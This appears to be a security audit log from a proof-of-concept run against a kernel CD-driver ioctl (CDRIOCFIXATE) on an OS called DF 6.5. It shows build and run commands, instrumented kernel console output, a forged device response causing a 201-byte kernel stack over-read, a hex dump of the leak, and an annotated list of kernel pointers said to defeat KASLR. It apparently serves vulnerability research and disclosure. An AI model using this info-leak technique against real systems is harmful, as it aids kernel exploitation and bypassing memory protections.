=== DF-4184 decisive run (kernel #5: emulation on, df_audit.mode=1, capfail=0) ===
=== build: guest cc 8.3, "cc -O -o fixate_stackread fixate_stackread.c" -> BUILD_OK ===
=== run: /tmp/fixate_stackread /dev/acd0  (uid 0; /dev/acd0 is root:operator 0640,
===     and the DF disk layer gates opens with SYSCAP_RESTRICTEDROOT, so a plain
===     unprivileged user cannot open the node on stock DF 6.5) ===

opened /dev/acd0 fd=3 uid=0 euid=0
TOC: starting=1 ending=1 len=18
READTOCENTRYS data_len=0xffff -> ret=-1 errno=22 (Invalid argument)  [expect EINVAL]
CDRIOCGETBLOCKSIZE -> ret=0 bs=2048
CDRIOCFIXATE -> ret=0 errno=0 (Undefined error: 0)      <-- full acd_fixate executed
survived (no panic)

=== kernel console (dmesg) for the same run ===
DFAUDIT: acd_ioctl cmd=8004636a data=0xfffff80117df9878        (CDRIOCFIXATE)
DFAUDIT: CDRIOCFIXATE entered, multisession=2048
DFAUDIT: acd_fixate entered, calling mode_sense(0x05)
acd0: FAILURE - MODE_SENSE_BIG ILLEGAL REQUEST asc=0x24 ascq=0x00   <- QEMU refuses page 0x05
DFAUDIT: hook ccb0=5a ccb2=05 cnt=64 mode=1 capfail=0 err=5     <- ata_atapicmd(sizeof(write_param)=64)
DFAUDIT: forged MODE_SENSE(0x05) page_length=0xff               <- crafted-drive emulation
acd0: FAILURE - MODE_SELECT_BIG ILLEGAL REQUEST asc=0x20 ascq=0x00
DFAUDIT: hook ccb0=55 ccb2=00 cnt=265 mode=1 capfail=0 err=5
DFAUDIT: MODE_SELECT count=265 from 65-byte stack param, over-read bytes:
DFAUDIT:  +0000:0000000000000040532a4f00f8ffffb0f2f98d00f8fffffdffffff00000000d8
DFAUDIT:  +0020:f2f98d00f8ffffd8542a4f00f8fffff8362e1801f8ffff93cf6280ffffffff05
DFAUDIT:  +0040:00000000000000e0f2f98d00f8ffffc0160d81ffffffff40532a4f00f8ffff6a
DFAUDIT:  +0060:6304800000000078382e1801f8ffff0500000001f8ffff00f5928f00f8ffff00
DFAUDIT:  +0080:000000000000000000000000000000b0f2f98d00f8ffff58372e1801f8ffff38
DFAUDIT:  +00a0:372e1801f8ffff1f476980ffffffff0000000000000000c3466980ffffffff80
DFAUDIT:  +00c0:542a4f00f8ffff6a
acd0: FAILURE - CLOSE_TRACK/SESSION ILLEGAL REQUEST asc=0x20 ascq=0x00
DFAUDIT: hook ccb0=5b ccb2=02 cnt=0 mode=1 capfail=0 err=5
DFAUDIT: forged CLOSE_TRACK success
DFAUDIT: hook ccb0=00 ccb2=00 cnt=0 mode=1 capfail=0 err=0     <- TEST_UNIT_READY ok

=== what the 201 leaked bytes contain (little-endian qwords at offsets) ===
  +0008: 0xfffff8004f2a5340   kernel virtual pointer
  +0010: 0xfffff8008d9ff2b0   kernel heap pointer
  +0020: 0xfffff8008d9ff2d8   kernel heap pointer
  +0028: 0xfffff8004f2a5458   kernel virtual pointer
  +0030: 0xfffff800182e36f8   kernel stack pointer
  +0038: 0xffffffff8062cf93   KERNEL TEXT POINTER (defeats KASLR)
  +0090: 0xfffff8008d9ff2b0   kernel heap pointer
  +00a0: 0xfffff800182e3758   kernel stack pointer
  +00b8: 0xffffffff8069471f   KERNEL TEXT POINTER
  +00d0: 0xffffffff806946c3   KERNEL TEXT POINTER
  +00d8: 0xfffff8004f2a5480   kernel virtual pointer
(201 bytes past the 64-byte `struct write_param param` on acd_fixate's kernel stack;
 this is exactly the data-out payload a crafted ATAPI device receives.)